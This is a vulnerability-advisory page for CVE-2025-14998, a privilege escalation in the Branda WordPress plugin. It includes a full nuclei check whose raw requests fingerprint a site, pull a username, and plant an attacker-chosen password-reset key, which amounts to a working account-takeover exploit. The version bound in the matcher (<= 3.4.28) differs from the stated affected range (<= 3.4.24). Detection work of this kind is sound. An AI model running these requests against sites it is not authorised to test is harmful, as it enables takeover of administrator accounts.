HexBrain

Browse / CVEs / CVE-2025-14998

CVE-2025-14998· CWE-639

Branda WordPress plugin - Privilege Escalation

criticalseverity
9.8CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it

Branda WordPress plugin <= 3.4.24 contains a privilege escalation caused by improper user identity validation in password update functionality, letting unauthenticated attackers change arbitrary user passwords, including administrators, exploit requires crafted request.

Impact

Unauthenticated attackers can change any user's password, including administrators, leading to full account takeover and privilege escalation.

Fix

Update to a version later than 3.4.24 or the latest available version.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/branda-white-labeling/readme.txt
Positive when: contains "Branda"
Send: GET {{BaseURL}}/?rest_route=/wp/v2/users&per_page=1
Positive when: status_code == 200 && contains(body, "\"slug\"")
Send: POST /wp-login.php?action=lostpassword ; GET /wp-login.php?action=rp&key={{rp_control}}&login={{wp_user}} ; GET /wp-login.php?action=rp ; GET /wp-login.php?action=rp&key={{rp_token}}&login={{wp_user}}
Positive when: contains(header_3, "invalidkey") || contains(header_3, "expiredkey") and status_code_5 == 200 and contains(body_5, "resetpassform") || contains(body_5, "rp_key") and !contains(body_5, "invalidkey") a…

Run it with nuclei: nuclei -id CVE-2025-14998 -u <target>

The full check
id: CVE-2025-14998

info:
  name: Branda WordPress plugin - Privilege Escalation
  author: theamanrawat
  severity: critical
  description: |
    Branda WordPress plugin <= 3.4.24 contains a privilege escalation caused by improper user identity validation in password update functionality, letting unauthenticated attackers change arbitrary user passwords, including administrators, exploit requires crafted request.
  impact: |
    Unauthenticated attackers can change any user's password, including administrators, leading to full account takeover and privilege escalation.
  remediation: |
    Update to a version later than 3.4.24 or the latest available version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14998
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-14998
    epss-score: 0.01873
    epss-percentile: 0.7955
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 7
  tags: cve,cve2025,wordpress,wp-plugin,branda,intrusive,vkev

variables:
  rp_token: "{{rand_text_alphanumeric(20)}}"
  rp_control: "{{rand_text_alphanumeric(20)}}"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/branda-white-labeling/readme.txt"

    matchers:
      - type: word
        part: body
        words:
          - "Branda"
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - "(?i)Stable tag: ([0-9.]+)"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?rest_route=/wp/v2/users&per_page=1"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 && contains(body, "\"slug\"")'
        internal: true

    extractors:
      - type: json
        name: wp_user
        part: body
        json:
          - ".[0].slug"
        internal: true

  - raw:
      - |
        POST /wp-login.php?action=lostpassword HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_login={{wp_user}}&redirect_to=&password_1={{rp_token}}&wp-submit=Get+New+Password

      - |
        GET /wp-login.php?action=rp&key={{rp_control}}&login={{wp_user}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-login.php?action=rp HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-login.php?action=rp&key={{rp_token}}&login={{wp_user}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-login.php?action=rp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(header_3, "invalidkey") || contains(header_3, "expiredkey")'
          - 'status_code_5 == 200'
          - 'contains(body_5, "resetpassform") || contains(body_5, "rp_key")'
          - '!contains(body_5, "invalidkey")'
          - 'compare_versions(version, "<= 3.4.28")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from